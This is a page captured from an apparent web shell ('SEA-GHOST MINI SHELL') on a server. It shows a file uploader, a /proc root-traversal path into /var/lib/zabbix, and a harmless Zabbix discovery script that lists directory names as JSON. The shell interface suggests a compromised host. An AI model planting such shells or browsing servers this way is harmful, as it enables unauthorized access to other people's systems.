[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/3/root/proc/3/task/3/root/proc/3/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/3/root/proc/3/task/3/root/proc/3/root/var/lib/zabbix/exabgp_dnsdist.sh

#!/bin/bash

IFS=$'\n'

dir="$1"

first=1

names=$(ls -1 $dir)

echo -ne "{ \"data\" : [\n";

echo "$i"

for i in $names
{
  if [ $first == 0 ]; then echo -ne ",\n";
  fi
  first=0
  echo -ne "{"
  echo -ne " \"{#ROUTENAME}\":\"$i\"";
  echo -ne " }";

}

echo -ne " ]";
echo -ne " }\n";


SEA-GHOST - SHELL CODING BY SEA-GHOST